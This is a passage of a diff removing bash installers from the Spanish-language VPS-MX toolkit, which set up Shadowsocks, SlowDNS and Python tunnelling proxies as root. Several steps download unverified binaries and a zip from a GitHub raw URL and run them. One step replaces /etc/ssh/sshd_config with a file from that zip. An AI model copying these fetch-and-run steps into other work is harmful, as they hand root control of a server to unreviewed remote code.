-portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
-while read port; do
-var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
-done <<< "$portas_var"
-i=1
-echo -e "$portas"
-}
-fun_ip () {
-MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
-}
-fun_eth () {
-eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
-    [[ $eth != "" ]] && {
-    msg -bar
-    echo -e "${cor[3]} $(fun_trans ${id} "Aplicar Sistema Para Mejorar Paquetes SSH?")"
-    echo -e "${cor[3]} $(fun_trans ${id} "Opcion Para Usuarios Avanzados")"
-    msg -bar
-    read -p " [S/N]: " -e -i n sshsn
-           [[ "$sshsn" = @(s|S|y|Y) ]] && {
-           echo -e "${cor[1]} $(fun_trans ${id} "Correccion de problemas de paquetes en SSH...")"
-           echo -e " $(fun_trans ${id} "Cual es la Tasa de RX")"
-           echo -ne "[ 1 - 999999999 ]: "; read rx
-           [[ "$rx" = "" ]] && rx="999999999"
-           echo -e " $(fun_trans ${id} "Cual es la Tasa de  TX")"
-           echo -ne "[ 1 - 999999999 ]: "; read tx
-           [[ "$tx" = "" ]] && tx="999999999"
-           apt-get install ethtool -y > /dev/null 2>&1
-           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
-           }
-     msg -bar
-     }
-}
-fun_bar () {
-comando="$1"
- _=$(
-$comando > /dev/null 2>&1
-) & > /dev/null
-pid=$!
-while [[ -d /proc/$pid ]]; do
-echo -ne " \033[1;33m["
-   for((i=0; i<10; i++)); do
-   echo -ne "\033[1;31m##"
-   sleep 0.2
-   done
-echo -ne "\033[1;33m]"
-sleep 1s
-echo
-tput cuu1
-tput dl1
-done
-echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
-sleep 1s
-}
-fun_shadowsocks () {
-[[ -e /etc/shadowsocks.json ]] && {
-[[ $(ps x|grep ssserver|grep -v grep|awk '{print $1}') != "" ]] && kill -9 $(ps x|grep ssserver|grep -v grep|awk '{print $1}') > /dev/null 2>&1 && ssserver -c /etc/shadowsocks.json -d stop > /dev/null 2>&1
-echo -e "\033[1;33m $(fun_trans ${id} "SHADOWSOCKS PARADO")"
-msg -bar
-rm /etc/shadowsocks.json
-return 0
-}
-       while true; do
-	   msg -bar
-	   msg -tit
-	   msg -ama "        INSTALADOR SHADOWSOCKS By @Kalix1"
-	   msg -bar
-       echo -e "\033[1;33m $(fun_trans ${id} "Selecione una Criptografia")"
-	   msg -bar
-       encript=(aes-256-gcm aes-192-gcm aes-128-gcm aes-256-ctr aes-192-ctr aes-128-ctr aes-256-cfb aes-192-cfb aes-128-cfb camellia-128-cfb camellia-192-cfb camellia-256-cfb chacha20-ietf-poly1305 chacha20-ietf chacha20 rc4-md5)
-       for((s=0; s<${#encript[@]}; s++)); do
-       echo -e " [${s}] - ${encript[${s}]}"
-       done
-       msg -bar
-       while true; do
-       unset cript
-       read -p "Escoja una Criptografia: " -e -i 0 cript
-       [[ ${encript[$cript]} ]] && break
-       echo -e "$(fun_trans ${id} "Opcion Invalida")"
-       done
-       encriptacao="${encript[$cript]}"
-       [[ ${encriptacao} != "" ]] && break
-       echo -e "$(fun_trans ${id} "Opcion Invalida")"
-      done
-#ESCOLHENDO LISTEN
-msg -bar
-      echo -e "\033[1;33m $(fun_trans ${id} "Seleccione puerto para el Shadowsocks Escuchar")\033[0m"
-	  msg -bar
-      while true; do
-      unset Lport
-      read -p " Puerto: " Lport
-      [[ $(mportas|grep "$Lport") = "" ]] && break
-      echo -e " ${Lport}: $(fun_trans ${id} "Puerto Invalido")"      
-      done
-#INICIANDO
-msg -bar
-echo -e "\033[1;33m $(fun_trans ${id} "Ingrese la contraseña Shadowsocks")\033[0m"
-read -p" Contraseña: " Pass
-msg -bar
-echo -e "\033[1;33m $(fun_trans ${id} "Iniciando Instalacion")"
-msg -bar
-fun_bar 'sudo apt-get install shadowsocks -y'
-fun_bar 'sudo apt-get install libsodium-dev -y'
-fun_bar 'sudo apt-get install python-pip -y'
-fun_bar 'sudo pip install --upgrade setuptools'
-fun_bar 'pip install --upgrade pip -y'
-fun_bar 'pip install https://github.com/shadowsocks/shadowsocks/archive/master.zip -U'
-echo -ne '{\n"server":"' > /etc/shadowsocks.json
-echo -ne "0.0.0.0" >> /etc/shadowsocks.json
-echo -ne '",\n"server_port":' >> /etc/shadowsocks.json
-echo -ne "${Lport},\n" >> /etc/shadowsocks.json
-echo -ne '"local_port":1080,\n"password":"' >> /etc/shadowsocks.json
-echo -ne "${Pass}" >> /etc/shadowsocks.json
-echo -ne '",\n"timeout":600,\n"method":"' >> /etc/shadowsocks.json
-echo -ne "${encriptacao}" >> /etc/shadowsocks.json
-echo -ne '"\n}' >> /etc/shadowsocks.json
-msg -bar
-echo -e "\033[1;31m INICIANDO\033[0m"
-ssserver -c /etc/shadowsocks.json -d start > /dev/null 2>&1
-value=$(ps x |grep ssserver|grep -v grep)
-[[ $value != "" ]] && value="\033[1;32mINICIADO CON EXITO" || value="\033[1;31mERROR"
-msg -bar
-echo -e "${value}"
-msg -bar
-return 0
-}
-fun_shadowsocks

+ 0 - 191
SCRIPT-v8.5x Mod/VPS-MX/protocolos/slowdns.sh

@@ -1,191 +0,0 @@
-#!/bin/bash
- #by @rufu99
- ADM_inst="/etc/VPS-MX/Slow/install" && [[ ! -d ${ADM_inst} ]] && exit
- ADM_slow="/etc/VPS-MX/Slow/Key" && [[ ! -d ${ADM_slow} ]] && exit
- info(){
- 	clear
- 	nodata(){
- 		msg -bar
- 		msg -ama "!SIN INFORMACION SLOWDNS!"
- 		exit 0
- 	}
- 
- 	if [[ -e  ${ADM_slow}/domain_ns ]]; then
- 		ns=$(cat ${ADM_slow}/domain_ns)
- 		if [[ -z "$ns" ]]; then
- 			nodata
- 			exit 0
- 		fi
- 	else
- 		nodata
- 		exit 0
- 	fi
- 
- 	if [[ -e ${ADM_slow}/server.pub ]]; then
- 		key=$(cat ${ADM_slow}/server.pub)
- 		if [[ -z "$key" ]]; then
- 			nodata
- 			exit 0
- 		fi
- 	else
- 		nodata
- 		exit 0
- 	fi
- 
- 	msg -bar
- 	msg -ama "DATOS DE SU CONECCION SLOWDNS"
- 	msg -bar
- 	msg -ama "Su NS (Nameserver): $(cat ${ADM_slow}/domain_ns)"
- 	msg -bar
- 	msg -ama "Su Llave: $(cat ${ADM_slow}/server.pub)"
- 	
- 	exit 0
- }
- 
- drop_port(){
-     local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
-     local NOREPEAT
-     local reQ
-     local Port
-     unset DPB
-     while read port; do
-         reQ=$(echo ${port}|awk '{print $1}')
-         Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
-         [[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue
-         NOREPEAT+="$Port\n"
- 
-         case ${reQ} in
-         	sshd|dropbear|stunnel4|stunnel|python|python3)DPB+=" $reQ:$Port";;
-             *)continue;;
-         esac
-     done <<< "${portasVAR}"
-  }
- 
- ini_slow(){
- 	msg -bra "INSTALADOR SLOWDNS"
- 	drop_port
- 	n=1
-     for i in $DPB; do
-         proto=$(echo $i|awk -F ":" '{print $1}')
-         proto2=$(printf '%-12s' "$proto")
-         port=$(echo $i|awk -F ":" '{print $2}')
-         echo -e " $(msg -verd "[$n]") $(msg -verm2 ">") $(msg -ama "$proto2")$(msg -azu "$port")"
-         drop[$n]=$port
-         num_opc="$n"
-         let n++ 
-     done
-     msg -bar
-     opc=$(selection_fun $num_opc)
-     echo "${drop[$opc]}" > ${ADM_slow}/puerto
-     PORT=$(cat ${ADM_slow}/puerto)
-     msg -bra "INSTALADOR SLOWDNS"
-     echo -e " $(msg -ama "Puerto de coneccion atraves de SlowDNS:") $(msg -verd "$PORT")"
-     msg -bar
- 
-     unset NS
-     while [[ -z $NS ]]; do
-     	msg -ama " Tu dominio NS: "
-     	read NS
-     	tput cuu1 && tput dl1
-     done
-     echo "$NS" > ${ADM_slow}/domain_ns
-     echo -e " $(msg -ama "Tu dominio NS:") $(msg -verd "$NS")"
-     msg -bar
- 
-     if [[ ! -e ${ADM_inst}/dns-server ]]; then
-     	msg -ama " Descargando binario...."
-     	if wget -O ${ADM_inst}/dns-server https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/dns-server &>/dev/null ; then
-     		chmod +x ${ADM_inst}/dns-server
-     		msg -verd "[OK]"
-     	else
-     		msg -verm "[fail]"
-     		msg -bar
-     		msg -ama "No se pudo descargar el binario"
-     		msg -verm "Instalacion canselada"
-     		
-     		exit 0
-     	fi
-     	msg -bar
-     fi
- 
-     [[ -e "${ADM_slow}/server.pub" ]] && pub=$(cat ${ADM_slow}/server.pub)
- 
-     if [[ ! -z "$pub" ]]; then
-     	msg -ama " Usar clave existente [S/N]: "
-     	read ex_key
- 
-     	case $ex_key in
-     		s|S|y|Y) tput cuu1 && tput dl1
-     			 echo -e " $(msg -ama "Tu clave:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")";;
-     		n|N) tput cuu1 && tput dl1
-     			 rm -rf ${ADM_slow}/server.key
-     			 rm -rf ${ADM_slow}/server.pub
-     			 ${ADM_inst}/dns-server -gen-key -privkey-file ${ADM_slow}/server.key -pubkey-file ${ADM_slow}/server.pub &>/dev/null
-     			 echo -e " $(msg -ama "Tu clave:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")";;
-     		*);;
-     	esac
-     else
-     	rm -rf ${ADM_slow}/server.key
-     	rm -rf ${ADM_slow}/server.pub
-     	${ADM_inst}/dns-server -gen-key -privkey-file ${ADM_slow}/server.key -pubkey-file ${ADM_slow}/server.pub &>/dev/null
-     	echo -e " $(msg -ama "Tu clave:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")"
-     fi
-     msg -bar
-     msg -ama "    Iniciando SlowDNS...."
- 
-     iptables -I INPUT -p udp --dport 5300 -j ACCEPT
-     iptables -t nat -I PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 5300
- 
-     if screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file ${ADM_slow}/server.key $NS 127.0.0.1:$PORT ; then
-     	msg -verd "Con exito!!!"
-     else
-     	msg -verm "Con fallo!!!"
-     fi
-     exit 0
- }
- 
- reset_slow(){
- 	clear
- 	msg -bar
- 	msg -ama "    Reiniciando SlowDNS...."
- 	screen -ls | grep slowdns | cut -d. -f1 | awk '{print $1}' | xargs kill
- 	NS=$(cat ${ADM_slow}/domain_ns)
- 	PORT=$(cat ${ADM_slow}/puerto)
- 	if screen -dmS slowdns /etc/slowdns/dns-server -udp :5300 -privkey-file /root/server.key $NS 127.0.0.1:$PORT ;then
- 		msg -verd "Con exito!!!"
- 	else
- 		msg -verm "Con fallo!!!"
- 	fi
- 	exit 0
- }
- stop_slow(){
- 	clear
- 	msg -bar
- 	msg -ama "    Deteniendo SlowDNS...."
- 	if screen -ls | grep slowdns | cut -d. -f1 | awk '{print $1}' | xargs kill ; then
- 		msg -verd "Con exito!!!"
- 	else
- 		msg -verm "Con fallo!!!"
- 	fi
- 	exit 0
- }
- 
- while :
- do
- 	clear
- 	msg -bar
- 	msg -ama "INSTALADOR SLOWDNS"
- 	msg -bar
- 	menu_func "Ver Informacion\n$(msg -bar3)" "$(msg -verd "Iniciar SlowDNS")" "$(msg -ama "Reiniciar SlowDNS")" "$(msg -verm2 "Detener SlowDNS")" 
- 	msg -bar
- 	opcion=$(selection_fun 5)
- 
- 	case $opcion in
- 		1)info;;
- 		2)ini_slow;;
- 		3)reset_slow;;
- 		4)stop_slow;;
- 		0)exit;;
- 	esac
- done
-  

+ 0 - 473
SCRIPT-v8.5x Mod/VPS-MX/protocolos/sockspy.sh

@@ -1,473 +0,0 @@
-#!/bin/bash
- 
- #25/01/2021 by @Kalix1
- clear
- clear
- SCPdir="/etc/VPS-MX"
- SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
- SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
- 
- declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
- [[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null
- [[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python pip -y &>/dev/null
- mportas () {
- unset portas
- portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
- while read port; do
- var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
- [[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
- done <<< "$portas_var"
- i=1
- echo -e "$portas"
- }
- meu_ip () {
- MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
- MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
- [[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
- }
- IP=$(wget -qO- ipv4.icanhazip.com)
- tcpbypass_fun () {
- [[ -e $HOME/socks ]] && rm -rf $HOME/socks > /dev/null 2>&1
- [[ -d $HOME/socks ]] && rm -rf $HOME/socks > /dev/null 2>&1
- cd $HOME && mkdir socks > /dev/null 2>&1
- cd socks
- patch="https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/backsocz.zip"
- arq="backsocz"
- wget $patch -o /dev/null
- unzip $arq > /dev/null 2>&1
- mv -f ./ssh /etc/ssh/sshd_config && service ssh restart 1> /dev/null 2>/dev/null
- mv -f sckt$(python3 --version|awk '{print $2}'|cut -d'.' -f1,2) /usr/sbin/sckt
- mv -f scktcheck /bin/scktcheck
- chmod +x /bin/scktcheck
- chmod +x  /usr/sbin/sckt
- rm -rf $HOME/socks
- cd $HOME
- msg="$2"
- [[ $msg = "" ]] && msg="@vpsmod"
- portxz="$1"
- [[ $portxz = "" ]] && portxz="8080"
- screen -dmS sokz scktcheck "$portxz" "$msg" > /dev/null 2>&1
- }
- gettunel_fun () {
- echo "master=NetVPS" > ${SCPinst}/pwd.pwd
- while read service; do
- [[ -z $service ]] && break
- echo "127.0.0.1:$(echo $service|cut -d' ' -f2)=$(echo $service|cut -d' ' -f1)" >> ${SCPinst}/pwd.pwd
- done <<< "$(mportas)"
- screen -dmS getpy python ${SCPinst}/PGet.py -b "0.0.0.0:$1" -p "${SCPinst}/pwd.pwd"
-  [[ "$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}')" ]] && {
-  echo -e "$(fun_trans  "Gettunel Iniciado con Sucesso")"
-  msg -bar
-  echo -ne "$(fun_trans  "Su contraseña Gettunel es"):"
-  echo -e "\033[1;32m NetVPS"
-  msg -bar
-  } || echo -e "$(fun_trans  "Gettunel no fue iniciado")"
-  msg -bar
- }
- 
- PythonDic_fun () {
- if [[ ! -e /etc/VPS-MX/fix ]]; then
- 		echo ""
- ins(){
- apt-get install python -y 
- apt-get install python pip -y
- }
- ins &>/dev/null && echo -e "INSTALANDO FIX" | pv -qL 40
- sleep 1.s
- [[ ! -e /etc/VPS-MX/fix ]] && touch /etc/VPS-MX/fix
- else
- echo ""
- fi
- clear
- echo ""
- echo ""
- msg -tit
- msg -bar
- echo -e "\033[1;31m  SOCKS DIRECTO-PY | CUSTOM\033[0m"
- while true; do
- msg -bar
- 	echo -ne "\033[1;37m"
-     read -p " ESCRIBE SU PUERTO: " porta_socket
- 	echo -e ""
-     [[ $(mportas|grep -w "$porta_socket") ]] || break
-     echo -e " ESTE PUERTO YA ESTÁ EN USO"
-     unset porta_socket
-     done
-     msg -bar
- echo -e "\033[1;97m Digite Un Puerto Local 22|443|80\033[1;37m" 
- msg -bar
-  while true; do		
-          echo -ne "\033[1;36m"
-          read -p " Digite Un Puerto SSH/DROPBEAR activo: " PORTLOC
- 		 echo -e ""
-          if [[ ! -z $PORTLOC ]]; then
-              if [[ $(echo $PORTLOC|grep [0-9]) ]]; then
-                 [[ $(mportas|grep $PORTLOC|head -1) ]] && break || echo -e "ESTE PUERTO NO EXISTE"
-              fi
-          fi
-          done
-  #        
- puertoantla="$(mportas|grep $PORTLOC|awk '{print $2}'|head -1)"
- msg -bar
-  echo -ne " Escribe El HTTP Response? 101|200|300: \033[1;37m" && read cabezado
-  tput cuu1 && tput dl1
-      if [[ -z $cabezado ]]; then
-         cabezado="200"
-         echo -e "	\e[31mResponse Default:\033[1;32m ${cabezado}"
-     else
-         echo -e "	\e[31mResponse Elegido:\033[1;32m ${cabezado}"
-     fi
- msg -bar
- echo -e "$(fun_trans  "Introdusca su Mini-Banner")"
- 	msg -bar
- 	echo -ne " Introduzca el texto de estado plano o en HTML:\n \033[1;37m" && read texto_soket
-    tput cuu1 && tput dl1
-      if [[ -z $texto_soket ]]; then
-         texto_soket="@lacasitamx"
-         echo -e "	\e[31mMensage Default: \033[1;32m${texto_soket} "
-     else
-         echo -e "	\e[31mMensage: \033[1;32m ${texto_soket}"
-     fi
-  msg -bar
- (
- less << CPM > /etc/VPS-MX/protocolos/PDirect.py
- import socket, threading, thread, select, signal, sys, time, getopt
- 
- # Listen
- LISTENING_ADDR = '0.0.0.0'
- LISTENING_PORT = int("$porta_socket")
- PASS = ''
- 
- # CONST
- BUFLEN = 4096 * 4
- TIMEOUT = 60
- DEFAULT_HOST = '127.0.0.1:$puertoantla'
- RESPONSE = 'HTTP/1.1 $cabezado <strong>$texto_soket</strong>\r\n\r\nHTTP/1.1 $cabezado Conexion Exitosa\r\n\r\n'
- 
- class Server(threading.Thread):
-     def __init__(self, host, port):
-         threading.Thread.__init__(self)
-         self.running = False
-         self.host = host
-         self.port = port
-         self.threads = []
-         self.threadsLock = threading.Lock()
-         self.logLock = threading.Lock()
-     def run(self):
-         self.soc = socket.socket(socket.AF_INET)
-         self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-         self.soc.settimeout(2)
-         self.soc.bind((self.host, self.port))
-         self.soc.listen(0)
-         self.running = True
-         try:
-             while self.running:
-                 try:
-                     c, addr = self.soc.accept()
-                     c.setblocking(1)
-                 except socket.timeout:
-                     continue
-                 conn = ConnectionHandler(c, self, addr)
-                 conn.start()
-                 self.addConn(conn)
-         finally:
-             self.running = False
-             self.soc.close()
-     def printLog(self, log):
-         self.logLock.acquire()
-         print log
-         self.logLock.release()
-     def addConn(self, conn):
-         try:
-             self.threadsLock.acquire()
-             if self.running:
-                 self.threads.append(conn)
-         finally:
-             self.threadsLock.release()
-     def removeConn(self, conn):
-         try:
-             self.threadsLock.acquire()
-             self.threads.remove(conn)
-         finally:
-             self.threadsLock.release()
-     def close(self):
-         try:
-             self.running = False
-             self.threadsLock.acquire()
-             threads = list(self.threads)
-             for c in threads:
-                 c.close()
-         finally:
-             self.threadsLock.release()
- class ConnectionHandler(threading.Thread):
-     def __init__(self, socClient, server, addr):
-         threading.Thread.__init__(self)
-         self.clientClosed = False
-         self.targetClosed = True
-         self.client = socClient
-         self.client_buffer = ''
-         self.server = server
-         self.log = 'Connection: ' + str(addr)
-     def close(self):
-         try:
-             if not self.clientClosed:
-                 self.client.shutdown(socket.SHUT_RDWR)
-                 self.client.close()
-         except:
-             pass
-         finally:
-             self.clientClosed = True
-         try:
-             if not self.targetClosed:
-                 self.target.shutdown(socket.SHUT_RDWR)
-                 self.target.close()
-         except:
-             pass
-         finally:
-             self.targetClosed = True
-     def run(self):
-         try:
-             self.client_buffer = self.client.recv(BUFLEN)
-             hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
-             if hostPort == '':
-                 hostPort = DEFAULT_HOST
-             split = self.findHeader(self.client_buffer, 'X-Split')
-             if split != '':
-                 self.client.recv(BUFLEN)
-             if hostPort != '':
-                 passwd = self.findHeader(self.client_buffer, 'X-Pass')
- 				
-                 if len(PASS) != 0 and passwd == PASS:
-                     self.method_CONNECT(hostPort)
-                 elif len(PASS) != 0 and passwd != PASS:
-                     self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
-                 elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
-                     self.method_CONNECT(hostPort)
-                 else:
-                     self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
-             else:
-                 print '- No X-Real-Host!'
-                 self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
-         except Exception as e:
-             self.log += ' - error: ' + e.strerror
-             self.server.printLog(self.log)
- 	    pass
-         finally:
-             self.close()
-             self.server.removeConn(self)
-     def findHeader(self, head, header):
-         aux = head.find(header + ': ')
-         if aux == -1:
-             return ''
-         aux = head.find(':', aux)
-         head = head[aux+2:]
-         aux = head.find('\r\n')
-         if aux == -1:
-             return ''
-         return head[:aux];
-     def connect_target(self, host):
-         i = host.find(':')
-         if i != -1:
-             port = int(host[i+1:])
-             host = host[:i]
-         else:
-             if self.method=='CONNECT':
-             	
-                 port = 443
-             else:
-                 port = 80
-                 port = 8080
-                 port = 8799
-                 port = 3128
-         (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
-         self.target = socket.socket(soc_family, soc_type, proto)
-         self.targetClosed = False
-         self.target.connect(address)
-     def method_CONNECT(self, path):
-         self.log += ' - CONNECT ' + path
-         self.connect_target(path)
-         self.client.sendall(RESPONSE)
-         self.client_buffer = ''
-         self.server.printLog(self.log)
-         self.doCONNECT()
-     def doCONNECT(self):
-         socs = [self.client, self.target]
-         count = 0
-         error = False
-         while True:
-             count += 1
-             (recv, _, err) = select.select(socs, [], socs, 3)
-             if err:
-                 error = True
-             if recv:
-                 for in_ in recv:
- 		    try:
-                         data = in_.recv(BUFLEN)
-                         if data:
- 			    if in_ is self.target:
- 				self.client.send(data)
-                             else:
-                                 while data:
-                                     byte = self.target.send(data)
-                                     data = data[byte:]
-                             count = 0
- 			else:
- 			    break
- 		    except:
-                         error = True
-                         break
-             if count == TIMEOUT:
-                 error = True
-             if error:
-                 break
- def main(host=LISTENING_ADDR, port=LISTENING_PORT):
-     print "\n:-------PythonProxy-------:\n"
-     print "Listening addr: " + LISTENING_ADDR
-     print "Listening port: " + str(LISTENING_PORT) + "\n"
-     print ":-------------------------:\n"
-     server = Server(LISTENING_ADDR, LISTENING_PORT)
-     server.start()
-     while True:
-         try:
-             time.sleep(2)
-         except KeyboardInterrupt:
-             print 'Stopping...'
-             server.close()
-             break
- if __name__ == '__main__':
-     main()
-CPM
- ) > $HOME/proxy.log &
- 
- chmod +x /etc/VPS-MX/protocolos/PDirect.py
- 
- #screen -dmS pydic-"$porta_socket" python ${SCPinst}/PDirect.py "$porta_socket" "$texto_soket" && echo ""$porta_socket" "$texto_soket"" >> /etc/VPS-MX/PortPD.log
- 
- 	[[ -z $porta_socket ]] && conf="$porta_socket "
-     [[ -z $texto_soket ]] && conf+="$texto_soket"
-     
- echo -e "[Unit]
- Description=PDirect Service
- After=network.target
- StartLimitIntervalSec=0
- 
- [Service]
- Type=simple
- User=root
- WorkingDirectory=/root
- ExecStart=/usr/bin/python ${SCPinst}/PDirect.py $conf
- Restart=always
- RestartSec=3s
- 
- [Install]
- WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service
- 
-     systemctl enable python.$porta_socket &>/dev/null
-     systemctl start python.$porta_socket &>/dev/null
-     systemctl restart python.$porta_socket &>/dev/null
-     echo "$porta_socket" >/etc/VPS-MX/py.log
-     echo ""$porta_socket" "$texto_soket"" >> /etc/VPS-MX/PortPD.log
-     
- }
- 
- 
- 
- 
- pid_kill () {
- [[ -z $1 ]] && refurn 1
- pids="$@"
- for pid in $(echo $pids); do
- kill -9 $pid &>/dev/null
- done
- }
- selecionador(){
- clear
- echo ""
- echo ""
- echo ""
- 	while true; do
- 	msg -bar
- 	echo -ne "\033[1;37m"
-     read -p " ESCRIBE SU PUERTO: " porta_socket
- 	echo -e ""
-     [[ $(mportas|grep -w "$porta_socket") ]] || break
-     echo -e " ESTE PUERTO YA ESTÁ EN USO"
-     unset porta_socket
-     done
- 	echo -e "$(fun_trans  "Introdusca su Mini-Banner")"
- 	msg -bar
- 	echo -ne "Introduzca el texto de estado plano o en HTML:\n \033[1;37m" && read texto_soket
-     msg -bar
- }
- remove_fun () {
- echo -e "Parando Socks Python"
- msg -bar
- pidproxy=$(ps x | grep "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && pid_kill $pidproxy
- pidproxy2=$(ps x | grep "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && pid_kill $pidproxy2
- pidproxy3=$(ps x | grep "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && pid_kill $pidproxy3
- pidproxy4=$(ps x | grep "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && pid_kill $pidproxy4
- pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && pid_kill $pidproxy5
- pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && pid_kill $pidproxy6
- pidproxy7=$(ps x | grep "python.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy7 ]] && pid_kill $pidproxy7
- pidproxy8=$(ps x | grep "lacasitamx.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy8 ]] && pid_kill $pidproxy8
- echo -e "\033[1;91mSocks DETENIDOS"
- msg -bar
- rm -rf /etc/VPS-MX/PortPD.log
- echo "" > /etc/VPS-MX/PortPD.log
- py=$(cat /etc/VPS-MX/py.log|cut -d'|' -f1)
- 			systemctl stop python.${py} &>/dev/null
-             systemctl disable python.${py} &>/dev/null
-             rm /etc/systemd/system/python.${py}.service &>/dev/null
- exit 0
- }
- iniciarsocks () {
- pidproxy=$(ps x | grep -w "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && P1="\033[1;32m[ON]" || P1="\e[37m[\033[1;31mOFF\e[37m]"
- pidproxy2=$(ps x | grep -w  "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && P2="\033[1;32m[ON]" || P2="\e[37m[\033[1;31mOFF\e[37m]"
- pidproxy3=$(ps x | grep -w  "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="\033[1;32m[ON]" || P3="\e[37m[\033[1;31mOFF\e[37m]"
- pidproxy4=$(ps x | grep -w  "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && P4="\033[1;32m[ON]" || P4="\e[37m[\033[1;31mOFF\e[37m]"
- pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && P5="\033[1;32m[ON]" || P5="\e[37m[\033[1;31mOFF\e[37m]"
- pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && P6="\033[1;32m[ON]" || P6="\e[37m[\033[1;31mOFF\e[37m]"
- msg -bar 
- msg -tit
- echo -e "   	\e[91m\e[43mINSTALADOR DE PROXY'S\e[0m "
- msg -bar
- echo -e " \e[1;93m[\e[92m1\e[93m] \e[97m$(msg -verm2 "➛ ")\033[1;97mProxy Python SIMPLE      $P1"
- echo -e " \e[1;93m[\e[92m2\e[93m] \e[97m$(msg -verm2 "➛ ")\033[1;97mProxy Python SEGURO      $P2"
- echo -e " \e[1;93m[\e[92m3\e[93m] \e[97m$(msg -verm2 "➛ ")\033[1;97mProxy Python DIRECTO     $P3"
- echo -e " \e[1;93m[\e[92m4\e[93m] \e[97m$(msg -verm2 "➛ ")\033[1;97mProxy Python OPENVPN     $P4"
- echo -e " \e[1;93m[\e[92m5\e[93m] \e[97m$(msg -verm2 "➛ ")\033[1;97mProxy Python GETTUNEL    $P5"
- echo -e " \e[1;93m[\e[92m6\e[93m] \e[97m$(msg -verm2 "➛ ")\033[1;97mProxy Python TCP BYPASS  $P6"
- echo -e " \e[1;93m[\e[92m7\e[93m] \e[97m$(msg -verm2 "➛ ")\033[1;97mDETENER SERVICIO PYTHON"
- msg -bar
- echo -e " \e[1;93m[\e[92m0\e[93m] \e[97m$(msg -verm2 "➛ ") \e[97m\033[1;41m VOLVER \033[1;37m"
- msg -bar
- IP=(meu_ip)
- while [[ -z $portproxy || $portproxy != @(0|[1-7]) ]]; do
